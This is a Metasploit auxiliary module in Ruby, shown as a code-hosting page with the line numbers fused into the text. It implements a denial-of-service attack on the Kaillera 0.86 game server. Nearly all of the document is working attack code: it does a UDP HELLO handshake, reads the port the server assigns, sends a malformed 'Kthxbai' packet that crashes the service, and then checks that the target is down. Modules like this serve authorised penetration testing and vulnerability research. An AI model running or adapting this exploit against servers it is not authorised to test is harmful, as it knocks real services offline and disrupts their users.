Path: blob/master/modules/auxiliary/dos/windows/games/kaillera.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Kaillera 0.86 Server Denial of Service',14'Description' => %q{15The Kaillera 0.86 server can be shut down by sending any malformed packet16after the initial "hello" packet.17},18'Author' => ['Sil3nt_Dre4m'],19'License' => MSF_LICENSE,20'DisclosureDate' => '2011-07-02',21'Notes' => {22'Stability' => [CRASH_SERVICE_DOWN],23'SideEffects' => [],24'Reliability' => []25}26)27)2829register_options([30Opt::RPORT(27888)31])32end3334def run35# Send HELLO to target36connect_udp37print_status('Sending Crash request...')38udp_sock.put("HELLO0.83\0")39res = udp_sock.recvfrom(15)40disconnect_udp4142if res[0] =~ /HELLOD00D([0-9]{1,5})/43port = ::Regexp.last_match(1)44else45print_error('Connection failed')46return47end4849# Send DOS packet50connect_udp(true, 'RPORT' => port)51print_status("Sending DoS packet to #{rhost}:#{port}...")52udp_sock.put('Kthxbai')53disconnect_udp5455# Check is target is down56connect_udp57print_status('Checking target...')58udp_sock.put("HELLO0.83\0")59res = udp_sock.recvfrom(15)60disconnect_udp6162if res[0] =~ /HELLO/63print_error('DoS attempt failed. It appears target is still up.')64else65print_good('Target is down')66end67end68end697071